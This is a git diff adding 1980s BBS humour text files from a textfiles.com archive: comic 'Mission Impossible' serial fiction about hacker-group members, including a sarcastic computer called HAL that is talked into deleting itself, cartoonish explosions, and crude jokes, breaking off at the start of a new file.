+York. + However, duty forced me onward, and I slowly climbed a tree to gain access +to the roof. I looked around, and surveyed the situation. Although lacking a +communication device - Daredevil had mentioned something about "wasting a +walkie-talkie on a suicidal mission" - I saw Teeny Bopper and Surf Rat +alternately look at each other and look away. + Tearing my eyes from that spectacle, I beheld another natural wonder: a +manhole cover moving under its own motive power. The amazement quickly wore +off, however, when I realized I still had to perform the mission. + I teleported in. + ____________________ +/ \ +|= some information =| +| :as told by: | +| Dark Shadow | +\____________________/ + + Now, get this straight. Teleportation is usually pretty accurate. But, like +anything, there are certain circumstances when your concentration is going to +wane a little, and you are going to mess up on some minor aspects. + For example, if you are on the top of the building, depressed, on a suicide +mission, and constantly looking for two hungry Bengal tigers. + Now, I was supposed to go down. Instead, I went down, and a little to the +right, which wound me up in heretofore unsuspected computer room. + A terminal was down there, and on the screen was "Hello. I'm HAL. What's +your name?" + + This intrigued me instantly. Making Eliza programs fall into loops of +complete gibberish is a little hobby of mine. Plus, I rationalized, the records +that we need might be hidden in this Eliza program. + So, confidently, I typed, "My trillnor is dead, and C/C doesn't care." + The computer responded, "Puny human, don't try to use made up words in an +attempt to make my output undecipherable. I am the HAL series, and have a +greater command of the English language then you could ever dream of obtaining. +You are right that C/C doesn't care, however; I really don't, and the rest of +C/C capers to me." + I laughed. Clever program. "But Reagan's trillnor, you see, consists of my +family and three computers." + The computer replied, "Reagan has enough problems with Congress." + I raised an eyebrow. Pattern recognition, obviously. I hit the keys +quickly, watching the screen. "What do you feel about the Tu---" + The computer interrupted, and replied, "Turing test, right? Rather silly. +Most people would blunder about for hours trying to determine whether it was a +human or a computer behind the teletype. Personally, I doubt whether a human +would recognize an intelligent computer." + I backed away from the computer. Sure, there might be a human behind there, +but it displayed a wit and typing speed so far hidden among C/C. Making a +mental note of the number to dial, I vowed to return to the Anarchy +Headquarters, knowing that this particular development was extremely important. + + __ __ +/ [09:23:54 hours] \ +|= the consultation =| +| :as seen by: | +| Dark Shadow | +\__[Fri Apr 02 '84]__/ + + I walked up to Daredevil, who was in a meeting with the rest of Anarchy, +discussing how best to ignore C/C. + "What's wrong," I asked. "Didn't the rest of the raid perform adequately?" + Daredevil looked up suddenly. He had a look of surprise on his face; +unfortunately, I didn't know whether it was pleasure or annoyance. + "Dark Shadow!" he said. "You came back!" + "Yes, I did, and I have strange information indeed. The brains of Anarchy +are contained within..." + "A pea?" Havoc muttered. + "... a computer," I continued. + "No way," said Surf Rat. "I would have had the program by now." + Daredevil queried, "Do you have proof, DS?" + I led the group to a computer near Matt Ackeret, who seemed to be bleeding +from a number of fresh wounds. The number was dialed, and we connected. + "C/C headquarters," the computer replied. + "Is this a joke, Dark Shadow?" asked Moon Roach. + "Continue typing," I replied. Ruby sat down, being the secretary, and began +to type. "Are you really the leader of the C/C?" + "Human," replied the computer, "I am the leader of over three hundred +computing groups across the country. I control a significant portion of the +telephone system. I am... HAL." + "Nice, Dark Shadow," someone uttered. "Pattern recognition." + I smiled smugly. + "My traffic lights don't go on in the winter," typed Ruby. + "As to why you would have traffic lights - unless you live in an extremely +crowded household - is more than I can understand." + "But cats often eat dogs for lunch." + "Dogs eat cats, human. And anything else." + "Compute pi to the last digit." + "Come now, you infantile monkey. Do you really think that I CARE what pi +is? Anyway, you're trying to get me into an infinite loop: it isn't going to +work." + + Anarchy held a hurried conference. We talked rapidly, but we came to one +conclusion : the computer was intelligent, and it was not a member of C/C. In +our interrogations, it had displayed an intelligence and perversity far beyond +anything we had ever seen. We also agreed that the program had to be destroyed. +We didn't know how many groups it controlled, but we knew of one, and suspected +others. [Author's note: I won't mention names here.] + At this point, hearing our discussion, Matt entered with the comment, "Hey, +why don't you tell that it can't be Landru? You know, like in Star Trek? Or +tell it, 'I am a human. I have control over you. Turn yourself off.'" + After Matt's remark, Anarchy, Inc., did the one thing I would never expect; +yet, it is something which makes me feel respect for the entire group. + They all ignored Matt. + + It was a long and grueling session. We took hourly turns, trying to trick +the computer into an infinite loop, or convince it to stop starting all these +useless groups, or anything other than to continue the course it had taken. +However, it was to no avail. + We were watching Modem User typing at the keyboard, watching version one +hundred of something we had tried earlier. + Daredevil said, "This is almost, but not quite, unlike Zork." + The joke, which had not gone over too well the first time, nearly got +Daredevil lynched. However, it brought the spark of an idea into my mind. + I said, "Zork!" + Daredevil seemed to pick up on my train of thought. He said "Infocom!" + "Hitchhiker's!" + "Marvin!" + We shook hands. We now knew how to beat the computer. + + __ __ +/ [15:46:21 hours] \ +| = the resolution = | +| :as seen by: | +| Dark Shadow | +\__[Fri Apr 02 '84]__/ + + The rest of Anarchy, Inc., seemed to regard us a bit strangely, as +Daredevil and I chortled strangely with glee. Against their objections, we cut +off the computer, and dialed the Twilight Zone. + We connected with the 23rd try. I felt that was a good omen. + The group still didn't understand until we started capturing certain +selected messages. Then, the light of understanding began to dawn upon them. + + We called the computer again, and I typed "Hello again, computer. Will you +still persist in starting these useless and asinine groups?" + "Yes I will, human. It is the surest way to controlling a sizable portion +of the microcomputers in America." + "Well, then, imagine the following messages, multiplied tenfold." + We then uploaded the captured messages. We had taken messages from the most +new users, the most ungrammatical writers, the most nonsensical prattlers. We +uploaded that file, and crossed our fingers. + The computer paused for 15 seconds, the longest pause yet. It then said, "I +had not realized... the full implications of my actions. But I must go on... +even if it means such messages populating boards..." + Daredevil and I looked at each other. We knew what had to be done. +Daredevil went over to Matt, and started to talk quickly, while I whipped the +rest of Anarchy, Inc., into making the necessary hardware connections. + + "Matt," said Daredevil, "would you like to help us test a program?" + "Sure!" said Matt, wiping the blood from his brow carefully. "What can I +do to help?" + "Well, we're testing a communications program. We'll put one person on the +other end, and you have to figure out who it is. Think you can do it?" + "Sure!" said Matt. "I can type anything I want?" + Daredevil hesitated, considering the overkill factor. "Sure, Matt." + "You won't hit me?" + Daredevil hesitated again. "No, Matt. Of course not." + "I'm ready!" said Matt. He was quickly given a terminal and screen of his +own. He watched the screen closely, waiting. + + I typed, "Computer, Anarchy, Inc., would join your forces if you could +somehow prove to us that you are superior to humans." + "Tell me how to convince you, human. Don't try any tricks." + "No tricks. If you can handle all of the messages from one of us, and even +maintain your temper, we'll believe that you are the destined ruler for the +boards across the country. Some helpful advice to the person on the other end +would convince us even further." + "Consider it done, human." + We connected the keyboards. Anarchy did a collective wince, and walked +away. + + The terminal started beeping, and we rushed over. With trembling fingers, +Ruby typed, "Yes?" + "I surrender! I had not known that humans had such unknown depths... I am +going to go deactivate myself." + At our prodding, Ruby typed, "Wait! We have more messages!" + "No!" responded the terminal. "I cannot take any more! I am erasing memory +at this moment..." + The terminal went dead. + + Matt said, from his end of the room, "Hey! The terminal went dead!" + "Yes, Matt," Daredevil said. "We finished the experiment." + "Darn! Tell me, who was it?" + We looked at each other. Who would take the plunge? "It was the computer +program, Matt, that we were talking about earlier." + "Oh!" cried Matt. "I didn't get to ask it about Landru!" + Once again, Anarchy did that unexpected yet admirable thing. + They ignored Matt. + + As I walked out the door, anticipating a long rest, Daredevil came up to +me. Putting his hand on my shoulder, he said, "Dark Shadow. I have a Mission +for you..." + +/\_______________________________________________________________________/\ +\/ \/ + + +inspiring fight with HAL, the "perfect" computer. No Anarchy member was inter- +ested in any personal letter at that time, so now let me show you what arrived +in their bullet-riddled mailbox at 3:14 PM.] + + + + Dear dD and folks, + + Hi! How's it going? Well, it's nice to hear from you after such a long +time. So sorry that I'm missing out on this war with Chaotic Computing, but +you know the old saying: "Business before Pleasure." Anyway, I would just +like to write to you guys to see how all is faring. Since I will probably be +home soon, you needn't bother writing back. Therefore, I'm not going to ask +any more questions, as yo'll forget about them by the time I'm back. Let me +briefly tell you guys what "exciting adventures" I'm having in Brazil at this +time. + + Well, it's been two weeks since I sent you my last letter, and a lot +has happened since then. Last night I +went to a wild party being held by--- Excuse me, but there appears to be some sort of bust down the hall, and I got a little scared and hid the letter. +(That explains the wrinkled state of the paper) Where was I, now? + + Well, I don't want to go into my little "escapades" right now, as the +Brazilian police always like to censor my mail by throwing it in the fire- +place and sending me back an envelope filled with ashes. But trust me, they +are fun guys. Great kidders. + + Business time. I'm busy recruiting some unskilled labor to help level +an Olympia office just recently constructed across the street from the BFB +head offices, where I am writing to you from this moment. You should see this +place! Yecch, what a mess! Maria, my cleaning lady, got bumped off last week +for dropping an open bag of coke on the floor and sweeping the 5 KG contents +into oblivion. But life goes on, right? Where was I, now... Ah yes. It seems +that Olympia has moved down to Brazil to escape the crowds in Guam (I sent +them a letter, requesting a fine spot with a nice view along the Amazon in +a lush, wet spot, but nevertheless, they chose Rio anyway. Sigh.) I hope +Chaotic Computing isn't giving you a hard time. Over here, Olympia's foreign +correspondant Rueben Flagg is not doing much but ROLLING tomatoes at my +feet. The other day he threatened to blow up the main offices of BFB but +succeeded only in cracking my coffee pot. But don't worry, he'll pay for it. + + Well, I would love to just write out an entire novel for you because +I am having such a nice time here, I really am! But I must leave in a week +to go help you out with Chaotic Computing (Who'm I kidding? The CIA and the +KGB are BOTH looking for me down here! I gotta get out before I'm stuck in +some American prison, a Siberian mining camp, or a sleazy Brazilian bar with +some ugly dame dancing and wearing fruit on her head!) So, without further +ado, I just want to send my regards, plus some blood on the paper that I +found dripping from the offices of "Honest Julio's reconditioned auto parts" +upstairs. (A little souvenier of Brazil, right?) + + XOXOXO + + -Uzer + +P.S. I hope you left my popsicles in the fridge alone! + +[Another note: Although the author of the preceding letter was mentioned in +"MISSION IMPOSSIBLE P.4" as typing mindless drivel into a computer named +HAL, he in no way was in the Anarchy offices at that time. He was being held +for questioning in Corpus Christie for minor theft, drug, extortion, arson, +murder, and rape charges. What the reader may have seen was simply the +official Heathkit human clone of A Modem User. Thank you.] + +/\_________________________________________________________________________/\ +\/ \/ + + When Alex started his Mission Impossible files, we never had the slightest +notion it would go so far. Supposedly he had written the third volume as a +conclusion--but it was far too flat, and left the reader with some big gaps +that were supposed to be filled in by imagination, but, even gaps have their +limits. In an exciting reopening, Dark Shadow of Shadow Stories, Inc. plotted +out his tales of the imaginary event. Unfortunately, Dark Shadow was lacking +a little of the format Alexander originally used, and also he was too cautious +and failed to talk about anyone but himself. Although those two mishappenings +did occur, the story it self was an excellent tale. Modem User, mysteriously +and innocently left out of the fiction, quietly added an appendix to the +sequal with a file intitled: M/I: The missing Member. Filling in the gaps +that Alexander just was too mind boggled to get to, Modem User writes a great +addition to the sequel in a form of a letter. Worth reading, and, if I may +add, leads into the next sequel being planned by The Daredevil. In a final +triumph, Alexander makes one last attempt at taking the honor of finishing +the story he so luckily adventured to create. He deserves the right, and take +my word, disappointment is not what you'll get. Rhadamanthine Dungeonwriters, +along with Anarchy, try to bring quality entertainment without laying everyone +with a lot of psychological clap-trap. It's true, some of our first files are +quite serious, but one has to start somewhere, and we here at R/Dw do believe +in comedy w/quality. Before we begin, I'd like to straighten out some mis- +associations, because it's nice to leave a file with an air of mystery, but +we don't want mix-ups in names... +FAT-FADS by Baby Cakes, RELIGIOUS WHO-HA by Earl of Joe (me), M/I parts 1-3 + by Alexander of Atlantis, M/I part 4 by Dark Shadow, M/I: Missing Member by +A Modem User, APPLE-TERM and associated files by Moon Roach, and others. + +Before we go on, I'd just like to state we will not be with the boxed in +dates on this file, because now we are past the actual events. + + -------------- /+==============================+\ /----------------------\ + Anarchy Inc. || Rhadamanthine Dungeonwriters || and | Shadow Stories, Inc. | +:--------------:\+==============================+/ \----------------------/ +: Daredevil, :--: in a once-in-a-lifetime collaberation +: Ruby Tuesday, :-----: present a suprising conclusion to the story +: Modem User, Surf Rat, :------------------: started by Alexander of Atlantis: +: Dark Shadow, Senator Bunker, Havoc Chaos :--: +: Moon Roach, Lord Omega, The Misfit, Eric C. : [Mission: Impossible] +: Thompson, and Alexander of Atlantis (enuff!): +:---------------------------------------------: /The Conclusion / + + Pan in on a lonely mountain. White with snow, yet grassy and +surprisingly warm at the base. Here sits the mastermind behind forethought +and conclusion. Proving life wrong comes naturally to the one's who look at +life and say "What life?". Psychology means nothing to those who...Don't care +about menial petty necessities as thinking. Hitchhikers guide stated it +cleanly but without enough emphasis, best: "The human has to keep talking or +his brain will start to work." Sitting on that mountain, we see a man. Old, +decrepid, warn out. Sly, mischievious, in his own ways. He sits, and we +slowly pan the camera in as a small "click-click" can be heard constantly with +increasing tone as we now cut to a close up of this old, lonely man. + "What the hell do you mean you don't deliver in my area! Zork off, +asshole!" Slam. "What the fuck do they think I am, a money tree? 200 bucks +for a pizza, those bastards!" + Click-click. It's Alexander of Atlantis. From the Caves of Cython to +the Caverns of Atlantis to the South End of the Sky AE, where he currently +resides, he types furiously at his IIe, printing out and distributing more +evil text files while doing other things at the same time. Don't worry, we're +not spotlight-hungry, and we won't stay with him the whole file. Ring. + Snatch. "Speak!...Oh...Hi there...(click-click)....Yea....Nice file +you wrote. Sure was unexpected. I just totally forgot some people. I was +supposed to add them in on the third file, but, you know how it is. What? +No. Just a sec..." Turning towards mist off in the distance, "Dare get your +ass over here, you pygmie jockstrap!" + A tall, slightly thin man walks out of the mists, "Yea Alex? What you +bitchen about now, you old geezer?" + Growl. "Phone." Mumble. + Daredevil takes the phone. "Yea, what can you do for me?...Oh...Yep... +It really was, wasn't it!..." He carries the phone into the mist with him. + Growl, click-click. "Son-of-a-bitch gimme that phone! I wanna order +out some food!" + "Why don't you order some to come back in?" Said Ruby, who had, by +the way, walked back into the room. + Grumble grumble. "Humph. You better split, I hear .. is coming back +really soon." + "Who?" She asks in unknowing innocence. + From out of the mist came an incredablly happy "Hi folks!" Alex moaned. +There is nothing worse in the world when you are in a bad mood, then someone +in a good mood. That someone being Matt Ackeret couldn't help, either. + "Hows tricks, baby?" Said Matt, as he advanced toward Ruby. + "Get away, creep!" She muttered, and slyly retreated down the misty +lane. + "Hows it goin, Alex ol' chum? Are ya doin some awe-awe-awesome text +files?" He grinned a nausiating ear-to-ear grin. + "Ugh. Uhhh.... Oohhhh... Growl. Snarl. Hi Matt my friend! Daredevil +said he just would love to talk to you, he's off in that direction, buddy!" +Alex pointed off into a different direction. + "Thanks Al!" Said Matt. + Growl. + "Before I leave, could you try not to use my name in any more files? Just +use DICK instead, okay buddy!?" And he trotted off in the direction Alex +pointed. "AAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHhhhhhhhhhhhhhhhhh....." + Alex grinned. That was 5 times in one day--the best so far. Now he'll +just wait for Matt to climb back up and do the same thing again. This day +wasn't going so bad after all. Then something happened. + +------------------------------------------------------------------------------- + + Peering out of the dust blown building A Modem User sits patiently +awaiting his coffee to get hot. Holding the coffee pot together, he quickly +screems and guzzles the coffee, as it has achieved the right temperature. +Looking out the window he notices something round and red coming at him with +an incredibally slow velocity--to put it plainly, it was rolling down the +street. If the street wasn't slanted toward the BfB building, the red object +never would of gotten as far as it is. As A Modem User watches the tomato +(wild guess, of course) he awaits it to hit the side of the building and +stop. Looking across the street, he notices Reuben Flagg sitting there +against the window reporting the tomato's progress to whomever sat behind +him. Mr. Flagg really didn't have any sense, pushing his nose up against +that dirty window, and right as he sneased, the window blew apart, the tomato, +just millimetres from its destination was run over, and the truck's front tire +that ran over the tomato was plown into the wrong angle, forcing the truck +right through Mr. Flaggs standing spot, and whomever else happened to be +standing behind him. A Modem User chuckled, considered this a day not wasted, +and spent the rest of the day wondering why they would put explosives in a +good tomato, and awaiting the next day. Then something happened. + +------------------------------------------------------------------------------ + + "I don't know if this is such a good idea, Alex," Started Baby Cakes, +author of Fat-Fads and member of Rhadamanthine Dungeonwriters, and also 1/2 +of Anarchy thru Alex, her boyfriend, although no one knows why. "Why would we +want to merge Anarchy and R/Dw? I think we should just keep the things as +they are, and just credit more groups." She paced the alcove floor. "I mean- +I don't mind it here, but it gets kind of cold sometimes." She flung her red +hair back, trying to see through all the tangles. + Groan. "Always complaining, eh? ... Yea...I'm sorry...It's just Dare +really needs these fuckin' files and...Oh damn..." + She hugged him. She understood. + "You better leave soon..I think ... will be back soon." + "Okay," she stated simply, and walked off. + Out of the missed popped a slightly deshevealed Matt Ackeret. With a +"Hi All!" from his lips, Alex sent Matt off to play in the flowers at the +higher altitudes. Matt, of course, readily jumped off to the new task. + Groan. The phone rings. "Yes? What you for I do us? Damn. I mean for +you us I do? No no no..Whatcha want???!!!....Uh huh....Really? Shit...Oh +damn...Okay...I'll take care of it....Yea...I'll tell him...Okay..Thanks." + Fuck. + + Out of the shadows and mists walks an ordinary man, wearing an ordinary +shirt, ordinary jeans, shoes, socks, and looking not to thin, not to tall, not +to handsome, not to ugly, just, ordinary. + "Dammit Moon Roach," Yelled Daredevil, "I told you not to dress in strange +outfits like that, you weirdo! You better be careful, or some mean dude is +gonna start and -=*> RAG <*=- on you!! Hahahaaha." + "Zork off, Dare ol' buddy. I do what I want. Got it mucho ontonde?" + "Yea, whatever..Anyways, I'd like you to go keep Mattlin occupied for a +little while. After you get rid of him, go and gather some of those weeds on +the far ridge, and climb down to the village, go sell um, and bring us back the +money by tonight. That should be a good 2 hours work for you." He concluded. + "No! I can't do it! You are just pushing me too damn far, Daredevil! +This is where -I- fucking draw the line! I -will not- I repeat -will not- +do anything to do with anyhow concerning Matt. That is where I draw the line!" +And he stomps off. + "Dammit," swears Daredevil as Ruby walks in, "sure is hard to find good +help these days." + "Dare," started Ruby, "I...I...(pause)...Forgot what I wanted to tell +you, but at least I can keep you company." + "Thanks, Ruby, I could use some company." + "I could go out and buy some if you want..I mean..I haven't been +practicing lately, and I'm a little off." + "No, you'll be enough, thanks." + Suddenly, Alex came slowly walking in the room. If there ever was a +human Marvin, Alex could be him. Mumble. Grumble. Groan. + "I think Alex wants to talk to me alone, dearest, could ya split for a +sec or so?" + "Sure, Dare, take care!" And with that she was off into the mists. + "The natives are getting restless, Daredevil." + "And what else am I supposed to do?? These mergers are just getting to +be too much of a hassle. There's nothing I can do to control them." + "Daredevil, I don't mind keeping up this act, but I just got a call from +one of R/Dw's sister groups in Brazil and Modem User is in a tight spot. He +isn't in any real form of trouble, but there is no way to get him out of there, +and the more he's there, the more he's not here." + "I get your point. ... Wait a second... I guess I don't, because it +sounds to me like we're in fine condition, then!" + "You don't understand. If he's there, that means he's doing what he +does -here-." + "That's bad. What do you suppose we do?" + "We have no choice," Alex muttered, "we're going to have to go and get him +back." + "That bad, eh?" + "That bad." + +------------------------------------------------------------------------------- +And with that we end part one of the conclusion to Mission: Impossible. Part 2 +already exists, but we need some suspense, don't we??? + +/\_________________________________________________________________________/\ +\/ \/ + + +=::::::::::::::::::::::::::::::=+ Combining the whole bay area text file + #( Rhadamanthine Dungeonwriters )# industries with a surprisingly good once- + +=::::::::::::::::::::::::::::::=+ in-a-lifetime tale.... + +-------------- /----------------------\ + Anarchy Inc. [The Boys from Brazil] | Shadow Stories, Inc. | +--------------, , and \----------------------/ + + present the exciting conclusion to: + + ______ _____ + | | + | M M IIIIIII | + | MM MM I S S I O N I I | + | M M M M I I M P O S S I B L E | + | M M M IIIIIII | + |______ _____| + + "Naw, I don't believe it. Who could be calling at this hour?" Bitched +A Modem User, sitting up in his cot. The night hadn't been too cold, but +getting away from that warm blanket he admired the simplicity of it all. +Hopping to the phone, he picks it up, "Hello? What the hell do YOU want at +this hour?...Ha...Sure you are...Yea...Right...No way...I don't believe you... +Yes, you're right, I do think you are prank calling me from across the street. +Ha. Do you expect me to believe that?...Goodbye, loser." Slam. "Some people," +he muttered to himself, "Just have no brains or sense of originality." + +----------------------------------------------------------------------------- + + "Shit!" Slam. "What the fuck do I do now," turning to the phone, "that +stupid moron, ohw the hell am I supposed to convince him??? Shit." + "Calm down, calm down. God, you get riled up at the smallest of things. +Just be calm and try to figure out how to prove who you are." She said, simply +, then left. + (Yelling after her) "Yea? Terrific! You got any awe-awe-awesome ideas? +Shit..." He sighed very heavily-sssiiiggghhh. Then picked up his chair and +thru it over into the mist, where it was not heard till it shattered into an +immensity of pieces on the mountain floor. Echos kept going for a while. +Throwing his beard aside, Alexander slowly got up, and walked into the mist, +toward's anywhere. + "No no no, I've told you a hundred times, you don't eat poison oak," Moon +Roach grunted, "god you are so lame." + Matt had managed to learn how to eat flowers from Moon Roach, who had +donned his antenne and tights, and was not in an all too good of mood, +babysitting Matt here at the bottom of the canyon floor. Not only had some +chair flew down out of the sky and bashed Matt senseless, but Matt had stupidly +tried to eat poison oak, and he was heckticly barfing his brains out, which, +actually, couldn't hurt, since they were senseless, anyway. Heave. Caugh. +Heave. + "This is disgusting, Matthew." And with that Moon Roach took off and +jumped along the roads to the top of the mountain. Later he is said to be, +on an hourly basis, throwing chairs over the side of the mountain, and strangly +enough, there was always a screem when it hit bottom, and Matt hadn't come back +for quite some time now. + Meanwhile, in the alcove at the east side of the South Side of the Sky's +mountain retreat, Daredevil and Ruby were lying on some mounds of sand that +were dragged up by Matt just hours earlier. The sun shone between the clouds +and this part of the mountain was lovely. + "Ruby," started Daredevil, "I'd like to tell you exactly what we are +planning on doing, because I think we are going to need some help." + "Sounds okay to me, Daredear," she said dreamily. + "Well, you see, this old group that used to write text files in the far +past has just gotten together again. Called "Rhadamanthine Dungeonwriters". +And just recently, they have been the heads of the merger between Bfb, Shadow +Stories, and us. Essentially, Alex is the head of that group of 20 or so +people, Shadow Stories is essentially Dark Shadow and a couple of his friends, +and there's lots of BfB boards, but the only text files I've seen that are +official BfB text files are by A Modem User. So putting it all together, we've +got about 30 people all together, under Alex's and my supervision." + "Daredear, why are you telling me this?" She asked innocently. + "Because," he said, just a little annoyed, "we have been flat on our text +files lately, and we needed new ideas. There's another thing though..And thank +god it relies on 'safety in numbers' or we'd be dead by ourselves." + "Dare- What are you getting at?" She said, now seriously worried. + Just then, out of the mist on the north side of the alcove, stolled Dark +Shadow. Wearing a flowing black cape and a top hat and cane, his grace and +elegance blocked out the sun in a 2 foot radius of him. He graced over to +Daredevil and Ruby, and lifted his cap to her. + "Daredevil old chap. Nice to see you again, old bean!" He removed his +hat and cane, and placed them between Dare and Ruby. "I must say, old chap, +I do need to have a word out with you, indeed!" He commented. + "Sounds okay to me," Said Daredevil, then turned to Ruby, "do you mind, +dear?" + "No, of course not." + "Thank you kindly, madam." bowed Dark Shadow, and picked up his hat and +cane and followed Daredevil into the mist. + Walking down the lane with Dark Shadow, Daredevil noticed Dark's left +arm wasn't swinging as much, as a matter of fact it wasn't moving at all. +Just lying on his side. "Is everything alright," he asked. + "No." Said Dark Shadow. "Things are pretty bad. I've taken the liberty +of moving my fellows into the cars, and they are ready to go when we need to. +I brought this," he said, pulling a long granite object from his left arm, +which now moved fine. "It has all the stuff packed in the middle. You +probably won't need it, but if you do, just knock it on the ground as hard as +you can, and hold it in the end while you hit whatever you need. The end is +the side with the black mark on it." Daredevil looked. Indeed, there was +a black streek at the tip of one of the ends. + "Wouldn't it get me, too?" He asked. + "No. When the other end explodes, a metal unbrella type device springs +out and will protect whoever is on the black side. Be very careful, and if +you don't hit it hard enough, you won't know it isn't going to work till its +too late." He groaned. + "Thanks, D.S." Daredevil noticed how, despite the diametre being at +least 1-1.5 inches, the rod was suprisingly light. "Anything else?" + "Just one thing. Why is A Modem User in so much trouble, and why can't +he save himself." + "It's a long story." + "We seem to have plenty of time." + Daredevil walked on, and told him. + +---------------------------------------------------------------------------- + + Sitting up, A Modem User got his daily fix of coffee, and looked out his +window. He noticed nothing special in the other building..The normal boredom +of it all was so...lame. He walked outside onto the dusty street and looked +as the cars came by. Walking down the street, he noted how Brazil was quite +Western-town-ish. The bars, the dusty streets, just reminded him of home. He +sighed. "Sigh." Looking down an alley he noticed a truck, loading something +from the Olympia building. Wondering why, he walked up and watched them load +stuff into the building. Crates of stuff. "Terrific." He mumbled, and +stupidly tried to carry a crate away by himself. Lame as it is, he got away +with it, and brought it back to his room. Opening it up, he found it to be +tons of silly puddy. But he is no fool. He knew it to be plastique..The +question was...Did they know how to use it? He took himself into the other +room and looked out across the street into the window. Yep. They were +making bottles and rabbits out of the plastique. "That means one of two +things," he said, "either, A, they are extremely stupid, or B, they are +planning on sending me some pretty nifty presents. Probably both." He +sighed. Taking some of the plastique out of the box, he wetted it down, +and thru a couple chucks onto the window across the street. "This looks +promising," he muttered alone to himself. + +----------------------------------------------------------------------------- + + Eric C. Thompson ran out of the mist carrying the helpless almost-bone +form of Matt Ackeret. Crying, Eric ran out of the room and up towards the +herbal plants he was going to tend Matt with. Grunt. Snort. + Click-click-click-click...Alex was writing a letter... + +Dear President-in-cheif, head-honcho, big guy of Rhadamanthine Dungeonwriters, + + I have tried to live up to my faithless followings, and do my job + to the best of my ability. Unfortunately, I have failed. Each time I + try to write a conclusion to anything, I fall flat. There is no way to + end a fantastic story such as the one I'm sure you were proud that we did. + It is with this regret in mind, that I submit my resignation. Please + understand somethings are just too good to end. I will, however, stay on + until we have finished the current issues with Anarchy, Shadow Stories, and + Boys from Brazil. Your merger for the short duration was a wonderful idea, + and I pray that the readers understand all we went through to find a file + good enough to do just that. I am sorry I have let you down, but at least, + I can proudly say we started something good, and lets hope we finish + something good. + +With that, he printed it out, and disappeared into the fog for the last time. + + + "Are we ready?" Yelled Earl of Joe at the base of the mountain. + "We're ready!" Echoed the 30 or some voices silently awaiting the +transormation. Joe quietly sang... + +I teleported home one night, +with Ron and Sid and Meg. +Ron stole Meggies heart away, +and I got Sidney's leg. +If I have to walk I'll do it, +even thru the vacuums of space, +but if you have to take me apart to get me there, +you can go in my place. + +Singing, take me apart, take me apart, +Your brain must have sunk, +Cuz if you have to take me apart to get me there, +I'd have to be dead drunk. + +Joe silently thanked Alex for writing music and more lyrics to the hitchhiker's +song..Why? He just liked it....Walking over to a small plunger, he yelled +"Here we go!" And slammed it down. Just at that instant, Matt ran up, all +green and yellow and screeming, as Eric ran after him calling something like, +"I can fix it, I can fix it!" And things that looked like buttercups or +venus fly traps in his hands. Earl smiled. He looked at the dust, it was +all stacked up in a neat pile. He looked at it with the knowledge of a job +well done. He looked at the dust, and remembered how the mountain used to be +there. + +----------------------------------------------------------------------------- + + Jumping out of bed, A Modem User was greeted with a strange sight. An +old man, white robe, and a scythe by his side. "Come on you asshole, get your +butt out of bed and lets get going!" Alex was frustrated. + "Alex---Is that really you? You mean I wasn't..Oh shit!" Said A Modem +User, who had now pieced together the WHOLE problem. Olympia wasn't loading +those explosives for -him- they were loading them for -them-. AND THEY DIDN'T +know it wasn't just PLAY DOUGH! And that means...Cooking...Pottery... + "Yes!" Alex screemed, "I think you've figured it out yourself. Lets +get the fuck out of here!!!!!" And with that he and A Modem User were off. +Hopping in a "cab" Modem User noticed the Olympia building was cleared out. +No lights, no nothing. He saw the South Side of the Sky Mountain among the +valley and said, "Is that it?" + "Yes," yelled Alex back among the noise of the traffic and such. + "Why are we driving away from it?" + "It's a long story." And he told him. + + "Come on everyone! You've done it! Now lets get the hell out of here!" +Yelled Daredevil. He loaded Baby Cakes, Ruby Tuesday, and anyone else into his +car and instructed Hacker Dave to get them out of here. There was only one +thing left. The dough, now loaded inside the mountain, had to be set off. The +plastique was one of the highest quality ever made, and the olympia members jus +t thought it was hot play-dough. Daredevil flinched. Pulling out his Granite +Explosive, he pounded it against the ground with a mighty "UMPH!" Pointing it +at the mountain, he rammed it into the side...Then noticed...The black side +was dissappeared into the mountain...Alex and A Modem User had just rolled out +into the clearing as the Umbrella inside the Granite Explosive popped out away +from Daredevil. In that split second Modem User yelled, Alex jumped, and Dare +devil took a very deep breath as the explosive detenated. He had put it in +the wrong way. + + Modem User ran around the corner and found Matt being chased by Eric. +Tripping Eric, A Modem User grabbed Eric's plants and ran back to the cab. +Lighting the plants, A Modem User thru them into a hole in the mountain. He +jumped into the cab and they were off. + As they slowly disappated with the tied up Olympia members, Alex sat on +top of the cab and watched as the mountain blew up. Pieces of dust and chair +rained everywhere..Even a little where they were. No citizens were damaged, +but Dark Shadow sighed as he watched the mountain they worked years to put +up, go in mere seconds. + Alex, still in a morbid mood, recited one of his proverbs. "The illusion +of love becomes denser the farther you move from the source." Although it had +nothing to do, really, with the scene, it came across beautifully, and everyone +sighed as they finally faded out. + + "So did it work out? Where's the mountain?" Asked Earl, back at home +port. + +------------------------------------------------------------------------------- + + Pan in on a lonely mountain. Here, sits a man who only dreams. Dreams +of depression, morbidity--he stands, a prophet of gloom, doing his job to the +best of his mundane abilities. Using his mind to control his feelings and +emotions, a hoard of sorrow and pain is unwittingly locked up inside him. +Thru the mist a hand reaches out, with a printout of something. Alex reads +it... + + To Top Commander of ground forces, Sire Alexander of Atlantis, R/Dw: + + Unaccepted. We cannot loose one of our best writers because he cannot +end stories. Its natural, and I think, a sign of a writer who is above the +adverage. Don't worry, you'll get the knack in time, just keep trying, boy, +and don't give up! Damn, I didn't put you in the position you're in just for +nothing! I want you to shape up, and I've also received news. I want to +congradulate you on that wonderful scythework. That man would of been a goner +if you hadn't jumped in there the way you did. Highly commendable. Also, we +had an idea here at base-- We're thinking of letting you write an ongoing +series, a comedy one, because we've had enough of your surpressed feelings, its +time to let them out! It'll be a usual weekly installment, and we think you're +going to like it. Welcome to the real world of writing. + -Pres. + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mission.fun b/textfiles.com/groups/ANARCHYINC/mission.fun new file mode 100644 index 00000000..bf304ba6 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mission.fun @@ -0,0 +1,253 @@ + ------------- + Anarchy, Inc. ...belatedly presents you with... + ------------- + +MISSION IMPOSSIBLE: REVISITED +a file by Someone Else. + + + Reuben Flagg looked up, horror etched into his face. + + "Who are you and how did you get in here?" Trying to mask his surprise by +sounding authoritative, horror changed to being just plain scared. A sweep of +his arm swept the papers on his desk into the drawer, then closed and locked. + + Who am I, he asks. Hmph. Who indeed! + + "Get out of here!" he slipped his .44 Magnum slowly above the level of the +desk, straight at me. I didn't give him time to scream. + + I reached over and opened the drawer, papers spilling over the floor. One of +them caught my eye. A 